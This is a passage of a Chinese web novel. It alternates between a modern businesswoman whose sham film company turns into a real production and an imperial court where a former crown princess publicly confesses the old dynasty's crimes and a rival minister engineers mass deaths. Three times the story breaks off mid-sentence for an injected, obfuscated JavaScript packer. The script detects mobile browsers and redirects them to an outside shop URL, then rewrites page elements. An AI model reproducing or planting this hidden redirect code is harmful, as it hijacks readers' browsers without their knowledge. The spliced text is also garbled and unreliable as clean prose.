第二天,另一位女星,在走廊转角与她撞了个满怀。女星“哎呀”一声轻呼,非但没有立刻退开,反而就着贴近的距离仰起脸,眼波流转:“郝总,真不好意思,我好像,有点晕了。您能扶我一下吗?” 郝美丽:“……” 起初遇见这些人,郝美丽还会勉强应付几句,后来她索性戴上口罩帽子,进出都绕行地下车库,却依旧拦不住那些变着法子靠近她的人,从各个角落冒出来。 这天晚上,她拖着疲惫的身子回到家,连灯都懒得开,就直接瘫在了沙发上,摸出手机,点开群视频。 郑大钱和常开心的脸很快出现在屏幕上。 “怎么了我的郝总?”郑大钱正在敷面膜,说话含糊不清,“看你这样子,又被人堵了?” “何止是堵。”郝美丽有气无力,“今天下午我去看样品,回来的时候,公司楼下站了二十几个人,全是来偶遇我的,还有个自称是某某导演的,非要请我吃饭,说要聊聊艺术追求?” 常开心在那头噗嗤笑出声:“可以啊郝美丽,你现在是圈内红人了。我昨天还听我一个做经纪人的朋友说,现在好多新人都在打听郝美影视,说这家公司背景硬预算足,是块肥肉。” “肥肉?”郝美丽苦笑,“我这是快成唐僧肉了,关键是,我们根本不是正经拍戏的啊!” 郑大钱揭下面膜,表情认真起来:“美丽,说真的,现在这个局面,你这个戏,非拍不可了。” 郝美丽一愣:“什么意思?” “动静闹得太大了。”郑大钱说,“你想想,上亿的道具费,几十个新人封闭训练半年,还有那些供应商,这么多环节,这么多人,你不可能完全捂住,现在业内已经有人在传,说郝美影视是海外资本要砸钱做一部史诗级大片,要颠覆历史剧的格局……” 常开心接话:“而且你那个新人培养计划,训练内容那么硬核,已经有人把训练视频片段流出去了。网上都在讨论,关注度越来越高,你要是现在突然说不拍了,反而更引人怀疑。” 郝美丽沉默了。 她揉着太阳穴,感觉头开始疼,当初只是为了给玉娘采购物资打掩护,怎么事情就一步步走到了这个地步? “所以……”她艰难地开口,“我现在真的要成为出品人了?真的要拍一部电视剧?” “恐怕是的。”郑大钱点头,“而且还得认真拍,拍好。至少表面上,要做得像模像样。剧本、导演、演员、拍摄计划,全套都要有。至于拍出来的东西最后怎么处理,那是后话……” 郝美丽仰头看着天花板,长长地叹了口气。 第二天,她让王硕发了个公告。 公告很苛刻:郝美影视筹备的大型历史剧《凤起长安》,需要能完全吃苦耐劳的演员和导演。 拍摄周期预计一年半,期间需全程跟组,不得轧戏,需接受高强度军事化训练,拍摄条件艰苦;片酬按市场价,但绝不接受天价片酬;不接受任何带资进组指定角色等要求…… 王硕发公告的时候手都在抖:“郝总,这条件会不会太严了?现在稍微有点名气的演员,都不可能接这种戏,咱这样……” “那就找没名气的。”郝美丽说,“找真正想演戏能吃苦的,而且咱们自己不也在培养吗?如果没人来,那正好,我们慢慢筹备。” 她想的是,这么苛刻的条件,应该能劝退大部分人。 可她错了。 公告发出去不到二十四小时,公司的公开邮箱就被简历塞爆了,电话更是被打到占线,前台小姑娘接电话接到嗓子哑。 来投简历的,有刚从戏剧学院毕业一脸青涩的学生;有在横店跑了多年龙套的特约演员;甚至有几位已经颇有名气的二三线演员,也表示愿意自降片酬来试镜。 更夸张的是,几位以严格著称的导演,也通过各种渠道递来话,表示对这个项目感兴趣,想和郝总见一面聊聊。 “郝美影视”这个名字,在业内彻底火了。 各种活动、会议的邀请函雪片般飞来,有影视圈的颁奖礼、行业论坛、投资峰会,郝美丽一个都没去。 她把自己关在公司里,白天核对物资清单,晚上看训练基地的汇报,周末去看盔甲样品的打样进度,她像个陀螺一样转,用忙碌来对抗这个越来越失控的局面。 这天下午,她正在办公室里对照着一张设计图,门被敲响了。 “进。” 推门进来的是个女孩,二十出头的样子,扎着利落的马尾,穿着简单的运动服,脸上带着训练后的红晕,是训练基地的新人之一。 郝美丽记得她,叫晏山槐,是那五十个新人里最拼的一个女孩。 “有事?”郝美丽放下图纸。 晏山槐走到办公桌前,站得笔直,像训练时一样:“郝总,我想成为郝美影视第一个签约的艺人。” 郝美丽挑了挑眉。 这段时间来找她的人不少,但这么直接的,这是第一个。 “为什么?”郝美丽问,“你应该知道,我们这不是普通的影视公司,训练这么苦,将来拍戏可能更苦,待遇也很一般,而且我不保证一定能红。” “我知道。”晏山槐的声音很稳,“但我观察了很久,郝总您是认真做事的人,你们不是在玩票,不是在炒概念,是真的在扎扎实实做东西。” 她顿了顿,继续说:“我入行四年,从群演熬到特约,见过太多画在纸上的大饼。那些喊着要拍史诗巨制的项目,最后大多无声无息地散了,那些满口艺术追求的老板,眼睛里也只是赚快钱。” “郝总,您这里不一样。” 郝美丽挑眉,看着她:“哪里不一样?” “我能看到您的投入。”晏山槐说,“您会亲自到训练场看我们,记得每个人的名字和进步,为了一套盔甲上的纹样,能和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872133|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 供应商来回打磨几个钟头,您在乎的是东西做得够不够好,而不只是它有没有话题。” 郝美丽:“……” “并且,”晏山槐深吸一口气,“我还听到一些传言,说这部剧最后或许不会面向大众播出。虽然不知真假,但我隐约感到,您做这件事,或许有比拍戏更深远的意图。” 她抬起头,目光灼灼:“如果真是这样,我愿意成为这个目的的一部分,我愿意成为您的人。” 郝美丽沉默了,她实在没办法和她解释这一切。 但她确实打动了她。 “你想好了?”郝美丽问。 “想好了,”晏山槐点头,“我会让您看到我的价值。” 办公室里安静了片刻。 郝美丽拿起桌上的内线电话,拨给王硕:“来我办公室一趟。” 等王硕进来,郝美丽指了指晏山槐:“拟合同,签她,郝美影视第一个签约艺人。” 王硕愣了一下,随即反应过来:“好的郝总。” 晏山槐的眼睛一下子亮了,她深深鞠了一躬:“谢谢郝总!我不会让您失望的!” 等晏山槐离开,王硕才小声问:“郝总,咱们真的要开始签艺人了?这戏还没拍呢。” 郝美丽沉默了很久,才终于承认,也许有些事情,做着做着,就不仅仅是“掩护”了。 “先签吧。”郝美丽转过身,“戏,我们认真拍,至于拍了之后怎么样,走一步看一步吧。” 王硕点点头,退了出去。 办公室里又只剩郝美丽一个人,她坐回办公椅,打开抽屉,取出玉娘的画像,盯了许久,才低低一叹——原来被轻易撼动命运的,远不止一人。 “玉娘……” * 京城,皇宫。 玉娘坐在偏殿的暖阁里,面前摆着一副棋枰,黑白两色的棋子错落其间,左手持黑,右手执白,自己与自己对弈。 她已这样坐了两个时辰。 殿门外,张韬垂手而立,目光落在青砖地面上,眼观鼻,鼻观心,像一尊泥塑的菩萨,偶尔有宫人轻手轻脚地经过,都被他无声地挥退了。 殿内,玉娘捻起一枚黑子,在指尖转了转,落定,她盯着棋盘,目光却仿佛穿透了那些纵横交错的线条,看到了别处。 前几日,招女官的告示贴出去,陆陆续续有人来应征,其他人也就罢了,直到出现——达奚瑜。 玉娘用朱笔圈出了这个名字和后面的介绍:达奚瑜,年十五,达奚珣孙女,自请与家族断绝关系,应征女官。 她当时盯着那行字看了许久,问张韬:“达奚珣知道?” “知道。”张韬垂首,“听说达奚相爷当夜就将孙女逐出家门,立了文书,从族谱上除了名。” 好一个达奚珣。 好一些盘根错节的世家大族。 “这个老狐狸,他这是赌我一定会用她。”玉娘笑了一笑。 张韬垂首,一言不发。 “罢了,将她招到我身边吧。” 回忆散去,玉娘的视线重新落在棋盘之上。 薛荣领军在外,是为锋刃;女官理政于内,是为枢机。这一外一内,皆是她亲手拔擢的棋子,却也成了众矢之的,他们根基尚浅,唯一的倚仗,不过是她这个“仙女娘娘”的虚名。 可,他们不会绝放过她们。 玉娘拿起一枚白子,举在眼前,手指悬在棋盘上方,迟迟没有落下,她在思索,很久之后——白子“啪”地一声落定。 玉娘看着那枚棋子,落在了一个意想不到的位置上。 她知道怎么做了。 18.第 18 章 京朝,朝会。 紫宸殿内,香烟袅袅,百官肃立。 玉娘坐在高台之上,听着奏报流水般呈上,都是太平景象,几个月前的那场叛乱,那场□□的惨剧,从未发生过一样。 玉娘静静听着,不发一言,直到最后一位官员陈奏完毕,司礼太监正要高喊“退朝”时。 “且慢。” 百官一怔,纷纷抬头看向高台。 “今日,有一人要上殿陈情。”玉娘淡淡说,“宣。” 百官面面相觑,陈希烈与张韬对视一眼,张韬眼里有惊讶,陈希烈垂下眼眸,暗思,今日恐怕不能善了了。 殿门外,脚步声响起。 一个女人缓步走了进来。 她穿着素色衣裙,未施脂粉,头发只用一根木簪简单束起,手中捧着一份奏折,待她走到殿中,百官终于看清了她的脸——竟是原太子妃张氏! 那个被玉娘娘一枪打死的太子,他的妻子!她怎么会在这里?她不是应该和其他宗室一起,被关押在冷宫深处吗?她要陈情?陈什么情? 在众人的注视中,张氏停在殿心,抬起头,看向高台上的玉娘跪了下去,双手将奏折举过头顶,“罪妇张氏,叩见娘娘。” 殿内落针可闻。 “你有何事要陈?”玉娘问。 张氏的脸被挡在衣袖后,没人看得见她的神情,只听见她道:“罪妇张氏,携子——原太子遗孤,上表请罪。” “请何罪?” “请李胤王朝末代皇帝李玄之罪,李玄为帝,不理朝政,贪图享乐,致使国库空虚,军备废弛;叛军攻城之时,不思守城护民,反而欺瞒全城百姓,携宗室亲信,弃城西逃!” 她眼中似有水光,却强忍着不让它落下:“皇帝西逃,太子随后,满城百姓被蒙在鼓中,待叛军破城而入,烧杀抢掠,死伤者数十万!” “此等罪孽,罄竹难书!”张氏的声音在空旷的大殿里回荡,“罪妇张氏,以原太子妃之身,以李胤子孙之名,向娘娘请罪!向天下万民请罪!” 她重重叩首,额头触地,发出一声闷响。 话音落下,满朝死寂。 高台上,玉娘没有说话。 殿下,百官也没有说话。 前朝太子妃,当朝请罪,承认前朝皇帝的罪过,承认宗室的罪过,将几十万百姓的死,明明白白地认在了李家头上,竟不粉饰半点,这…… 许久,玉娘终于开口:“你欲请罪,我已明了。” 张氏仍跪伏在地,一动不动。 “只是,你说愿为李家赎罪,如何赎?” 张氏抬起头:“罪妇母子,愿为牛马上街抚民,供百姓驱使,以赎前愆。” 玉娘笑了。 笑声很轻,让殿内所有官员心头一紧。 “牛马倒不必,”玉娘缓缓道,“既然你有赎罪之心,我便给你一个机会,张氏听旨。” 张氏再次叩首。 “张氏愿替前朝赎罪,其心可悯。今特赐尔抚民使之职,秩从三品,专司京中流民安置、伤病救治、遗孤抚恤等事,准尔立朝参议,直至天下平定,百姓不再受战乱之苦。” 抚民使!三品!立朝参议! “娘娘!”一名官员终于忍不住,踏出一步,“此乃朝堂重地,岂容妇人……” 他的话没说完。 因为他发现,整个大殿里,所有人都用一种看死人的眼神看着他,那官员脸色一白,抬头看向高台之上——玉娘也正看着他。 这高台之上,坐着的不正是一位妇人? 他的心一跳,就要扑倒下跪…… “拖出去,杖毙。” 张韬一挥手,两名侍卫立刻上前,捂住那官员的嘴,将他拖了出去,那官员瞪大眼睛,拼命挣扎,发不出一点声音,就消失在殿门外。 片刻后,远处传来沉闷的杖击声。 一下,两下,三下…… 殿内百官,人人垂首,无一人求情。 “还有谁有异议?”玉娘问。 没有人说话。 在这种沉闷中,达奚珣出列了,他神色平静,朝高台躬身道:“娘娘,老臣有一言。” “说。” “张氏既为前朝太子妃,其子更是李胤血脉,如今赐予官身,立于朝堂,恐引起人心动荡,”达奚珣缓缓道,“还请娘娘三思。” 这话说得委婉,却有理,让前朝太子妃入朝当官,会不会让那些还怀念前朝的人,生出不该有的心思? 高台上,玉娘没有说话。殿中,张氏却面向达奚珣,笑了:“达奚相爷此言差矣。” 达奚珣看着她。 “相爷说,我身为前朝太子妃,立于朝堂不妥,”张氏的声音很平静,“那敢问相爷,您原本是李胤的宰相,如今不也好好站在这里,身居高位吗?” 达奚珣脸色微变。 “还有这满朝文武,”张氏环视四周,“你们哪一个,不是李胤的旧臣?哪一个,不曾食过李胤的俸禄?如今江山易主,你们转身侍奉新朝,便可立于朝堂;我张氏为救民赎罪而来,为何就不可?” “还是说,在诸位大人心中,只有你们这些读书做官的男子,才有资格识时务者为俊杰,而我等妇人,就该殉了那早已腐朽的王朝,才算贞烈?” 殿内鸦雀无声。 达奚珣沉默片刻,道:“老臣并非此意,只是废太子遗孤尚在稚龄,若随母上街抚民,任百姓指摘,恐……” “恐丢了李胤皇族的脸面?”张氏接话,又笑了,“叛军屠城,数十万百姓死伤的时候,李胤的皇帝太子、皇子皇孙们,随驾西逃的时候,可曾想过脸面二字?” “如今不过是向那些枉死的百姓赎罪,就有人叫屈了?我倒要问问诸位大人,你们读圣贤书所谓忠君爱民,忠的哪位君?爱的哪些民?” “各位大人不会还想着,自罚三杯落两滴泪,给前朝皇帝文过饰非巧言几句,再辩一辩自己迫不得已从新主之志,几十万百姓就能消失在史书之中了吧?” “还是说,”张氏的目光扫过每一张脸,“你们这些前朝旧臣,心中还怀着复胤之念,所以见不得李家子孙向新朝低头,向百姓认罪?” “你!”有官员气得脸色发青,却说不出一句完整的话。 张氏这番话,太毒了。 她把所有人都拖下了水,你们都是前朝旧臣,你们都能转身侍奉新朝,凭什么我不能?我是在赎罪,是在为民请命,你们反对,莫非是心里有鬼? 这顶帽子扣下来,谁还敢说话? 高台上,玉娘看着这一幕,心里直发笑。 好一个张氏。 真是好一张牌! 她看着殿内诸臣,瞧瞧吧,你们的主子,你们曾经跪拜的太子妃,如今跪在我面前,跪在天下百姓面前认罪,我倒要看看,你们这些自诩高贵的世家大族,还有什么脸面。 “陈希烈,”玉娘忽然开口,“你意下如何?” 一直沉默的陈希烈抬起头。他看了一眼张氏,又看了一眼高台,许久,缓缓躬身:“臣无异议,此事,自有娘娘圣裁。” “好。”玉娘淡淡道,“那便这么定了,张氏即日就任抚民使,其子李承嗣以及众宗室,随母赎罪,退朝。” “退朝——” 在司礼太监的高唱声后,玉娘起身离席,百官如蒙大赦,纷纷躬身退出,逃也似的离开。 张氏站在殿心,看着那些曾经需要她跪拜的臣子们,如今一个个从她身边低头走过,没有一个人敢看她,将她视若空气。 直到殿内空无一人。 * 冷宫。 说是冷宫,其实是一处偏僻的宫院,原本是关押犯错妃嫔的地方,如今住着李胤残存的宗室,皇帝李玄的妃嫔兄侄,以及一些远支皇亲。 张氏回来时,天已近午。 她一进院门,就感觉到无数道目光刺在她身上。 “回来了?” 一个阴阳怪气的声音响起,是李玄的弟弟,赵王李璘,他原本养尊处优,如今被关在这里几个月,瘦了不少,眼神却更阴鸷了。 “听说你今天在朝会上可威风了。”李璘冷笑,“给那个妖女下跪,替李家认罪,还讨了个官做?张氏,你可真是李家的好媳妇!” 张氏没理他,径直往自己住的偏殿走。 “站住!”李璘喝道,“你还有脸回来?我要是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我是妖妃?”张氏擦掉眼角的泪,“好,那我这个妖妇今天就告诉你们!有骨气的立刻去死!我现在就去写折子,夸你们有气节,让娘娘把你们的尸首送进李家陵园,让你们死后还能沾点皇家的光!史书上还能记一笔你们的骨气!” “没骨气的,明天就跟我上街!赎罪!救助百姓!任由百姓唾骂!把你们从前享过的福,一件一件还回去!” 她话音落下,院中一片死寂。 许久后,一个年轻人忽然冲了出来,是李玄的侄子,今年才十七岁,他浑身颤抖,面色涨红,整个人装若疯癫。 “我不去!”他满脸是泪,颤抖着身子,“我是太宗子孙!我有李氏血脉!我宁可死,也不受这种侮辱!” 说罢,他猛地朝院门口的侍卫冲去,一头撞向对方腰间的刀——“噗”的一声。 刀尖透背而出。 年轻人瞪大眼睛,缓缓倒下,血很快染红了青石地面,死之前,他还死死盯着张氏,嘴唇翕动:“妖……妃……妖……妇……” 张氏看着他,看了很久,忽然大笑起来。 “好!好!太宗皇帝竟还有这等有骨气的子孙!”她笑得眼泪都出来了,“可惜啊,太蠢!成事不足败事有余,不死在杀敌卫民之上,竟为了这点脸面去死!愚蠢极了!除了这个蠢货,还有谁准备去死的?现在就去!” 听着张氏怒骂,院中无人说话,宗室都低着头,不敢看她,更不敢看地上那具尸体。 张氏笑够了,擦去眼角的泪,说:“想我太宗皇帝在时,夜不闭户路不拾遗,万国来朝何等威风!太宗皇帝传来的富贵,你们享受百年,早享够了,现在江山没了,是你们李胤男人自己没本事!” “我嫁到你们家,如今替你们家出头,史书怎么辱骂,我不在乎!什么皇子龙孙,都是笑话!你们家欠了百姓几十上百万条命,除了赎罪,别无二法!这是你们欠的!要怨,就怨李玄这个皇帝无能!这天下早就该没了这个皇帝!” 说罢,她转身,走向偏殿。廊下阴影里,几个年老的妃嫔默默垂泪,却没人敢哭出声,院中那摊血,在正午的阳光下,红得刺眼。 关上门,张氏的眼泪再一次落下。 她又拼命擦掉眼泪,她不能哭,她该高兴,她既然答应了玉娘——成为她的棋子,让她的儿子好好活着,那这一切都不算什么。 什么耻辱,什么尊贵,都不如活着。 张氏捂着嘴,咽下了所有苦痛心酸。 19.第 19 章 第二日。 第一道闪电撕裂天际,紧接着就是天雷滚滚,豆大的雨点噼里啪啦砸下来,不过片刻,整个京城便在一片白茫茫的雨幕之中。 “今日这暴雨,”张氏望着窗外,“正好。” 殿门吱呀一声被推开,张氏立在廊下,对着屋子里那些瑟缩的宗室,道:“该去赎罪了。” 没有人动。 雨声哗哗,雷声隆隆,廊下的人要么低着头,要么别过脸,无人应声。 “都聋了吗?” “这么大的雨,如何出门?不如等雨停了明日再……”李璘低着头,说。 “等?”张氏冷笑一声,“叛军屠城时,可曾等过天晴?百姓被刀架在脖子上时,可曾等过明日?!” 她几步跨下台阶,雨水瞬间打湿了她的衣摆,张氏径直走向李璘,一把揪住他的衣襟:“走!” “你放手!你这个疯妇!”李璘挣扎着。 张氏却不知哪来的力气,死死攥着他:“都给我出来!今日就是天上下刀子,也得给我上街!” 有几个年轻些的宗室子弟被张氏的气势慑住,迟疑着挪动脚步,几个年长的妃嫔却紧紧抱在一起,哭道:“我们这把年纪了,身子骨弱,淋不得雨啊……” “身子弱?”张氏松开李璘,转向那几个哭哭啼啼的妃嫔,“当年锦衣玉食纵马欢腾时,怎么不见你们说身子弱?如今要为死去的百姓赎罪了,倒是娇贵起来了!” 她说着,竟直接伸手去拉扯其中一位妃子:“走!” “你大胆!”那妃子又惊又怒,却拗不过张氏的力气,被硬生生拖下台阶,跌进雨里。 “今日谁若不去,我便去请娘娘的旨意!”张氏站在雨里,雨水顺着她的脸颊往下淌,“是愿意活着去赎罪,还是想现在就死在这里,你们自己选!” 许是昨日的血腥还历历在目,终于,有人颤巍巍地走了出来,一个,两个,三个…… 几十号人,像一群被驱赶的羊,低着头,一步步挪出了冷宫院门,雨越下越大,天地间一片混沌。 一行人穿过长长的宫道,所经之处,值守的侍卫,路过的宫人,无不停下脚步,看着这群曾经的天潢贵胄。 张氏走在最前面,任由人看,她手中捧着一块木牌,上面“赎罪抚民”,走到第一道宫门前,张氏深吸一口气,正要迈步。 “太子妃!” 身后忽然传来一声凄厉的叫喊。 张氏回头。 只见队伍中段,以太子生母韦妃为首的一群女眷,约莫十几个人,忽然齐齐调转方向,朝着与宫门相反的一条岔路狂奔而去! “你们做什么?”张氏大惊,转身就要去追,“回来!” 但那群人像是疯了一般,头也不回,在暴雨中奔跑,衣裙湿透贴在身上,踉踉跄跄,跑的飞快! “拦住她们!”张氏嘶喊,“快拦住!” 可那些侍卫和宦官却像没听见,只垂手立在原地,任由那群女人从他们面前跑过去,张氏心中一沉。 “你们要干什么?你们跑不掉的!”她咬牙追了上去,雨水模糊了视线,脚下的石板路湿滑难行,“你们能逃到哪里去?回来赎罪,快回来!回来还能有条活路!” 没有人回头。 那群女人跑得飞快,穿过一道又一道宫门,张氏紧追不舍,雨水打的她全身湿透,喘气越来越大声,她也越来越不明白,她们要去哪里?想做什么? 终于,在一处高墙前,她们停下了脚步。 张氏气喘吁吁地追到近前,正要开口,却顿住了,她看清了眼前的地方——是供奉李胤历代帝王牌位的太庙。 她们到太庙干什么? 可下一秒,她就知道答案了。 韦妃第一个动了。 这个曾经深得李玄宠爱在后宫风光无限的女子,此刻披头散发,浑身湿透,她转过身,最后看了张氏一眼,就朝着一根蟠龙石柱,一头撞了过去! “砰!” 一声撞击声。 韦妃的身体软软滑倒,额角鲜血汩汩涌出,瞬间被雨水冲淡,在她之后,其余十几个女人,有李玄的妃子,有太子的姬妾,一个接一个,用尽全身力气,朝着那冰冷的石柱撞去! “砰!” “砰!” “砰!” 一声又一声。 “不!你们干什么!住手!”张氏尖叫着扑过去。 “来人啊来人啊!侍卫呢,太监呢!拦住她们啊!来人啊!”张氏疯了似的想去拉,想去拦,可她只有一双手,怎么拦得住这么多人? 她抱住一个年轻妃嫔,吼道:“你们要干什么?疯了吗?活着!活着才有希望!死了就什么都没了!” 那妃嫔被她抱住,她抬起头,看着张氏,雨水冲刷着她年轻却惨白的脸,她咧开嘴,竟笑了:“太子妃……您能活……我们活不了了……” “你说什么?谁说的?”张氏心中巨震。 那妃嫔不答,只是笑,她用力一挣,张氏只觉得怀中一空,那妃嫔已挣脱出去,踉跄着冲向石柱—— “不要!” “砰!” 最后一声撞击。 张氏僵在原地,眼睁睁看着她的身体缓缓滑倒,与其他十几具尸体躺在一起,鲜血从她们身下不断涌出,在雨水的冲刷下,汇成一道道淡红色的溪流,蜿蜒流淌,浸湿了广场上的青砖。 十几条人命,不过片刻之间。 雷声轰鸣,一道闪电撕裂天穹,惨白的光照亮了满地尸首,照亮了张氏煞白的脸,也照亮了远处廊下,那些面无表情静静注视着这一切的宫人, 张氏浑身发抖,不知是冷,还是怕,跪倒在雨地里,跪在那片血水之中,看着眼前的一切。 “我们活不了了……” * 京城的一百零八坊中,暴雨如注。 光德坊,一户普通人家。 “儿啊!我的儿啊!”凄厉的哭嚎声从一间土坯房里传出,几乎要压过窗外的雷声。 屋里,一个中年妇人扑在床前,抱着床上一个面色青紫没了气息的少年,哭得撕心裂肺,那少年约莫十三四岁,嘴唇发黑,七窍有血迹渗出。 “昨天还好好的啊!”妇人哭喊着,手指颤抖着抚摸儿子冰凉的脸,“早上还说肚子疼,才给你吃了仙药,你怎么就……” 她身后,一个面如死灰的汉子呆呆站着。 “这药,这药……”汉子喃喃着,眼神涣散,“宫里发的说能治百病,仙女娘娘赐的仙药……我才领来给栓子吃的,怎么会,怎么会……” “栓子,栓子!你说话啊,栓子啊!”妇人扑在儿子身上,反复摸索,似乎想感受儿子的体温,可渐渐的、渐渐的,她的儿子变得一片冰冷。 她的手在颤抖,她不可置信的缩回去,再次触摸,只感受到了一片冰冷,比那冬天的雪还要冷,她的儿子,她的儿子,死了! 仙药? “什么仙药?还我儿子!还我儿子性命来!”她扑过去,抓住汉子的衣襟,又捶又打:“都是你!害死了我的儿子啊!还我儿子性命来!我的儿啊!你的命好苦啊……” 汉子任由她捶打,一动不动,怔怔的看着儿子的尸体,看着儿子再也不会睁开的眼睛:“宫里发的,人人都领了,怎么会……怎么会……” 类似的哭声,在这一日的京城中,此起彼伏。 永兴坊,一个老翁抱着断了气的孙女,老泪纵横:“丫丫只是染了风寒,吃了那药……一个时辰就……” 延寿坊,一对年轻夫妻守着床上并排躺着的两个孩子,一个七岁,一个五岁,都面色发黑,没了呼吸。 安仁坊,一户六口之家,除了出门做工的大儿子,父母和三个弟妹,全因吃了仙药,倒在饭桌边,七窍流血而死。 …… 起初只是零星几点哭声,渐渐汇成一片,从千家万户中传出,最后,几乎整个京城都在哭泣。 哭声混在暴雨雷声里,凄厉、绝望、愤怒,像无数冤魂在阴云下哀嚎,穿透重重雨幕,飘向皇宫的方向。 * 皇宫深处,女官们居住的偏殿。 达奚瑜正坐在窗前,就着昏黄的烛光,翻阅着文书,雨点敲打着窗棂,雷声不时炸响,让她有些心神不宁。 “瑜姐姐,”同屋的另一位女官,姓宋,怯生生地开口,“你听外面是不是有很多人在哭?” 达奚瑜侧耳倾听。 的确,除了雨声雷声,隐约似乎真有哭声,从遥远的地方传来,缥缈却凄厉,让人心头莫名发寒。 “许是雨声吧。”达奚瑜压下心头的不安,强自镇定,“莫要多想,早些整理完,明日还要……” 她话未说完,忽听墙角传来一阵窸窸窣窣的声响。 两人同时转头看去。 只见墙角堆放衣物的箱笼旁,竟有几只肥硕的老鼠堂而皇之地窜过!其中一只甚至停下,用绿豆似的小眼朝她们看了看,才不慌不忙地钻进了箱笼底下。 “啊!”宋女官吓得尖叫一声。 达奚瑜也心头一紧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891930|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这殿里虽不算奢华,但向来整洁,何时有过老鼠?还如此猖獗?她定了定神,起身道:“我去叫人来看看……” 话音未落,宋女官忽然指着她身后的衣柜,脸色煞白,嘴唇哆嗦着,却说不出话。 达奚瑜回头。 只见衣柜的门微微开了一条缝,而在那条缝隙里,借着烛光,她清楚地看到,一条通体暗褐头呈三角的蛇,正盘踞在她的衣物之上,蛇信吞吐,冰冷的竖瞳正对着她们的方向。 毒蛇! “来人……快来人啊!”宋女官终于找回了声音,尖声叫喊。 外面的宫人听到动静,慌忙推门而入,看到衣柜里的毒蛇,也都吓得魂飞魄散,乱作一团。 “快!快打出去!” “去找棍子!” “小心!别被咬了!” 混乱中,一个年轻胆大的小宦官抄起门边的扫帚,战战兢兢地靠近衣柜,试图将蛇挑出来。 那蛇似乎被惊动,猛地一窜! “啊!”站在达奚瑜身侧的宋女官躲闪不及,脚踝处一阵刺痛,低头一看,两个细小的血洞赫然在目。 “我被咬了!我被蛇咬了!”宋女官瘫软在地,哭喊起来。 达奚瑜慌忙扶住她:“快传太医!快去!” 宫人连滚爬爬地跑了出去,达奚瑜撕下自己的裙摆,死死扎在宋女官的小腿上方,宋女官脸色迅速变得灰败,呼吸急促,抓着达奚瑜的手,眼泪簌簌往下掉,这是条毒蛇!所有人都知不好! “瑜姐姐,我好怕,我不想死……我爹娘就我一个女儿,他们省吃俭用供我读书,我才刚进宫做官……还没……还没孝敬他们……” 达奚瑜紧紧握着她的手,眼眶通红:“别说话,太医马上就来了!坚持住!你别说傻话!你一定会没事的!” 等了又等,不知过去了多久,宋女官的脸色越来越灰败,也没有一个太医赶来,达奚瑜反复抱紧她,急得想要背着她去太医院,可她力气太弱了,总是脱离。 身边竟然没有一个太监侍女。 “来人啊!来人啊!”达奚瑜呼唤,还是没有一个人来。 宋女官的呼吸越来越微弱,眼神开始涣散,就在这一瞬间,她明白了所有。明白了突然出现的老鼠毒蛇,明白了迟迟未到的太医,也明白自己活不了了…… 她看着达奚瑜,忽然笑了笑,气若游丝:“姐姐,你说……我们选的这条路……到底对不对……” 话音未落,她的手倏地松开了。 手松开的一瞬间,暗雷再次炸响,响彻了整个皇宫,达奚瑜呆呆地抱着怀中逐渐冰冷的身体,听着窗外从全城各处汇聚而来的哭声,混着滚滚雷声,渐渐的,她的哭声也夹杂在其中,变得凄婉起来。 “你怎么就这般死了……” * 紫宸殿。 棋盘突然被掀翻!黑白棋子哗啦啦洒了一地,滚得到处都是,铺满了整个大殿,所有宫人立刻屏息下跪。 杨玉环望着窗外大雨,大喊:“陈希烈!” “我要杀了你!我一定要杀了你!我一定要将你碎尸万段!” * 同一时刻,陈府。 书房里点了一盏孤灯,陈希烈独自坐在棋盘前。 窗外的雷声隆隆,雨声哗哗,隐约的哭声隔着高墙深院,已听不真切,但他知道,那哭声一定存在,并且正响彻全城。 他执白子,轻轻落下。 棋盘上,白子已隐隐形成合围之势,将黑子逼入角落。 “这棋子,”陈希烈看着棋盘,喃喃自语,昏黄的灯光在他脸上投下深深浅浅的阴影,“是黑是白,谁又能说得清楚呢?” 他端起手边早已凉透的茶,抿了一口。 “今日之后,天下人只会记得……” “宗室烈妇,以死明志,不负李胤。” “百姓愚昧,乱服药物,暴毙而亡。” “女官不幸,遭蛇虫害,时也命也。” “娘娘啊娘娘,”陈希烈放下茶盏,望向皇宫的方向,轻轻叹息,“您有天降之威,有鬼神莫测之能,可这人心,这世道,这盘根错节的棋局……您看得清,却未必破得了。” “杀柏巡,易。” “杀我陈希烈,也易。” “可杀了我之后呢?这朝堂上下,这世家大族,这天下人心,您杀得完吗?杀的干净吗?” 又一道惊雷炸响,照亮了整个书房,他缓缓拿起一枚白子,落在了棋盘上最关键的一处。 “将军。” 20.第 20 章 光晕泛起,郝美丽的身影尚在凝聚。 “妈妈!” 杨玉环几乎是扑过来的,她整个人撞进郝美丽怀里,让郝美丽踉跄着后退了一步才站稳,郝美丽此刻才发觉,怀里的人浑身都在颤抖。 “妈妈!我一定要杀了他!我一定要!”杨玉环泣不成声,整个人几乎要瘫软下去,全靠郝美丽支撑着,滚烫的泪,烫得郝美丽心口痛。 “我知道,我知道……”郝美丽用力抱紧她。 “我恨他!我恨他!妈妈!” 